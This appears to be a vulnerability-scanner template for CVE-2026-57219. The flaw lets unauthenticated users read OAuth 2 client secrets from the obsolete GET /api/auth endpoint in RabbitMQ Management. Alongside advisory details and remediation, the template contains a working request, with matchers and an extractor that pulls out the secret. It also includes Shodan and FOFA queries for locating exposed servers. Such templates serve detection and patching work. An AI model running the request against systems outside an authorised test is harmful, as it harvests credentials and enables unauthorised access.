RabbitMQ Management - OAuth 2 Client Secret Disclosure

id: CVE-2026-57219

info:
  name: RabbitMQ Management - OAuth 2 Client Secret Disclosure
  author: aryu-ru
  severity: high
  description: |
    RabbitMQ < 3.13.15, 4.0.20, 4.1.11, and 4.2.6 contains an information disclosure caused by the obsolete GET /api/auth endpoint exposing OAuth 2 client secrets when management.oauth_client_secret is configured, letting unauthenticated attackers access sensitive credentials, exploit requires management plugin and OAuth configuration enabled.
  impact: |
    Unauthenticated attackers can access OAuth 2 client secrets, leading to credential exposure and potential unauthorized access.
  remediation: |
    Update to versions 3.13.15, 4.0.20, 4.1.11, or 4.2.6 or later.
  reference:
    - https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-pj24-8j6m-vq9q
    - https://github.com/rabbitmq/rabbitmq-server/commit/98b1daf740237c85941e8addcbea6e74f4a2743c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57219
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-57219
    epss-score: 0.01988
    epss-percentile: 0.79093
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 1
    vendor: broadcom
    product: rabbitmq_server
    shodan-query: http.title:"RabbitMQ Management"
    fofa-query: title="RabbitMQ Management"
  tags: cve,cve2026,rabbitmq,broadcom,oauth,exposure,unauth

http:
  - raw:
      - |
        GET /api/auth HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, "oauth_enabled", "oauth_client_secret")
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - '.oauth_client_secret'
# digest: 4a0a00473045022017673b0d55d493285179c6011a3feb616e6a5adbab29f67c7a8d0efc0bd34c9a022100efeacf2bdad4e7d9ccc89a01f806e87ed74c6c80bc8c41b30bfba1592ab29d38:922c64590222798bb761d5b6d8e72950